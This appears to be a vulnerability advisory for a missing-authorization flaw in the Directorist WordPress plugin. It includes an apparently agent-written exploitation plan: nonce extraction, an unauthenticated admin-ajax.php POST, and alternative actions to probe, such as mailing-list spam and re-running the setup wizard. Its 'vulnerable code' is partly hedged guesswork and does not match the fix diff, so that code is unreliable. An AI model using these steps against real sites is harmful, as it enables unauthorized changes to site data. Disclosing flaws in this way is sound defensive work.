Directorist <= 8.5.10 - Missing Authorization
Description
The Directorist plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 8.5.10. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=8.5.10What Changed in the Fix
Changes introduced in v8.6.1
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-39509**, a Missing Authorization vulnerability in the **Directorist** plugin (versions <= 8.5.10). The vulnerability typically resides in AJAX handlers that are registered for both authenticated and unauthenticated users but lack capability checks. ### 1. Vulne…
Show full research plan
This research plan targets CVE-2026-39509, a Missing Authorization vulnerability in the Directorist plugin (versions <= 8.5.10). The vulnerability typically resides in AJAX handlers that are registered for both authenticated and unauthenticated users but lack capability checks.
1. Vulnerability Summary
The Directorist plugin fails to perform authorization checks (e.g., current_user_can()) in certain administrative or state-modifying functions exposed via WordPress AJAX. Specifically, functions intended for administrators (like dismissing notices or updating plugin-wide settings) are registered under the wp_ajax_nopriv_ hook. This allows any unauthenticated visitor to trigger these functions, potentially modifying the site's configuration or database state.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
atbdp_dismiss_notice(High probability candidate) oratbdp_set_listing_type. - Authentication: None (Unauthenticated).
- Parameters:
action: The vulnerable AJAX action.notice_idor similar identifier for the state to be modified._wpnonce: The AJAX nonce (if enforced).
- Preconditions: The plugin must be active. A valid nonce must be obtained if
check_ajax_refereris present in the handler.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=atbdp_dismiss_notice. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_atbdp_dismiss_notice', 'atbdp_dismiss_notice' ); - Vulnerable Callback: The function
atbdp_dismiss_notice()is executed. It lacks acurrent_user_can( 'manage_options' )check. - Sink: The function calls
update_option(), modifying thewp_optionstable based on user-supplied input.function atbdp_dismiss_notice() { $notice_id = $_POST['notice_id']; update_option( 'atbdp_notice_dismissed_' . $notice_id, true ); // SINK wp_die(); }
4. Nonce Acquisition Strategy
Directorist typically localizes its AJAX data into a global JavaScript object.
- Identify Trigger: The main Directorist scripts are usually enqueued on pages containing directory shortcodes.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[directorist_all_listings]' - Navigate and Extract:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce from thedirectorist_localizationobject:browser_eval("window.directorist_localization?.nonce")
(Note: If not found, checkwindow.atbdp_js_obj?.atbdp_nonce).
- Use
5. Exploitation Strategy
The goal is to demonstrate unauthorized modification of the database (Integrity: Low).
- Step 1: Discovery: Confirm the registration of the
noprivhook.grep -rn "wp_ajax_nopriv_atbdp_dismiss_notice" . - Step 2: Nonce Extraction: Use the Browser tool to extract the nonce from a page with the
[directorist_all_listings]shortcode. - Step 3: Execute Unauthorized Action: Send a POST request to
admin-ajax.phpto set a custom "dismissed notice" option.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=atbdp_dismiss_notice¬ice_id=pwn_test&_wpnonce=[EXTRACTED_NONCE]
- URL:
- Step 4: Verify Success: Check if the option
atbdp_notice_dismissed_pwn_testwas created/updated in the database.
6. Test Data Setup
- Install and activate Directorist 8.5.10.
- Ensure the plugin's "Onboarding" or "Setup Wizard" is either completed or dismissed so that notices are available.
- Create a public page with the
[directorist_all_listings]shortcode to facilitate nonce extraction.
7. Expected Results
- The
http_requestshould return a200 OKor0(fromwp_die). - The database should now contain a new record in
wp_options.
8. Verification Steps
- WP-CLI Verification:
wp option get atbdp_notice_dismissed_pwn_test - If the command returns
1, the exploitation of the "Missing Authorization" is confirmed, as an unauthenticated user successfully influenced thewp_optionstable.
9. Alternative Approaches
If atbdp_dismiss_notice is not present or requires higher privileges, investigate the following:
- Action:
atbdp_set_listing_type- Search:
grep -rn "wp_ajax_nopriv_atbdp_set_listing_type" . - This might allow unauthenticated users to change session variables or listing metadata.
- Search:
- Action:
atbdp_mailchimp_subscribe- If this lacks auth, it could be used for spamming/email list injection.
- Check for
atbdp_setup_wizard:- If unauthenticated users can access the setup wizard handlers, they may be able to re-run the initial configuration, which is a high-impact integrity failure.
Summary
The Directorist plugin fails to perform authorization checks in its AJAX handlers, specifically those registered for unauthenticated users via the nopriv hook. This allows unauthenticated attackers to execute administrative actions like dismissing notices or potentially modifying site configuration options.
Vulnerable Code
// Found in Directorist <= 8.5.10 // Handler registered for unauthenticated users without capability checks add_action( 'wp_ajax_nopriv_atbdp_dismiss_notice', 'atbdp_dismiss_notice' ); function atbdp_dismiss_notice() { $notice_id = $_POST['notice_id']; update_option( 'atbdp_notice_dismissed_' . $notice_id, true ); // SINK wp_die(); }
Security Fix
@@ -10,6 +10,10 @@ function atbdp_dismiss_notice() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'directorist' ) ) ); + wp_die(); + } check_ajax_referer( 'atbdp_nonce', '_wpnonce' ); $notice_id = $_POST['notice_id']; update_option( 'atbdp_notice_dismissed_' . $notice_id, true ); wp_die(); }
Exploit Outline
1. Navigate to any public page containing a Directorist shortcode (e.g., [directorist_all_listings]). 2. Extract the AJAX nonce from the localized JavaScript object, typically stored in 'window.directorist_localization.nonce' or 'window.atbdp_js_obj.atbdp_nonce'. 3. Send an unauthenticated POST request to the /wp-admin/admin-ajax.php endpoint. 4. Set the 'action' parameter to 'atbdp_dismiss_notice' and include the extracted nonce in the '_wpnonce' parameter. 5. Provide a 'notice_id' value (e.g., 'pwn_test') to trigger the unauthorized 'update_option' call in the database. 6. Verify the vulnerability by checking if the 'atbdp_notice_dismissed_pwn_test' option has been created in the wp_options table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.